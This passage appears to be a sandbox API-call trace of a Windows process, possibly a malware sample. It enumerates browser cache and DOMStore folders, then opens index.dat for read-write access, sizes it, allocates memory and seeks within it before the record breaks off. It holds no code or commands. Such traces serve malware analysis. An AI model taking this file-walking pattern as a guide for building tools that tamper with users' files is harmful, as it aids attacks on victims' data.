lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbf0dd70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0122.024] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015") returned="" [0122.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0122.024] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0122.024] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0122.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.024] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0122.025] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0122.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.025] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0122.025] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0122.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.025] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0122.025] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0122.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.025] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0122.025] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0122.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.025] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0122.025] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0122.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.025] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0122.025] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0122.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.025] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0122.025] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0122.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.025] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0122.025] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0122.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.025] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0122.025] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0122.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.026] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0122.026] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0122.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.026] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0122.026] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0122.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.026] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0122.026] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0122.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.026] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0122.026] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0122.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.026] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0122.026] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0122.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.026] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0122.026] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0122.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.026] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0122.026] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0122.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.026] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0122.026] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0122.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.026] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0122.027] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0122.027] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0122.027] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0122.027] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.027] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0122.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e240 | out: hHeap=0x5e0000) returned 1 [0122.028] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.028] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.028] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0122.028] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0122.028] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0122.028] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.028] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.028] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.028] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.028] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.028] PathFindFileNameW (pszPath="") returned="" [0122.028] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.029] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.029] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.029] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="36USA68T", cAlternateFileName="")) returned 1 [0122.029] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3O75JDME", cAlternateFileName="")) returned 1 [0122.029] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0122.029] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned=".dat" [0122.029] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.030] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=32768) returned 1 [0122.030] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.031] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7fda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.032] 